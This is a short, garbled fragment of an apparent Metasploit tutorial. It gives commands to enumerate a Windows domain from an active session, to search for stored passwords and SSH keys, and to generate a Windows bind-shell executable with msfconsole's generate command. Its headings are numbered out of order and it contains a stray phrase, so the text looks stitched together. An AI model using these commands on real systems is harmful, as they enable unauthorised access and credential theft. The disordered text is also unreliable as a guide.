From an active session, use run post/windows/gather/enum_domain to gather domain information. 3. API and License Keys
Use modules to search for stored passwords or SSH keys. Clave MatSploit
If you are looking to create a "key" or executable to gain access to a system, use the generate command within the msfconsole . This command allows you to customize a payload with specific encoders and options. Load a payload: use payload/windows/shell_bind_tcp View options: generate -h Generate the code: generate -f exe -o payload.exe 2. Post-Exploitation Modules ( post modules) From an active session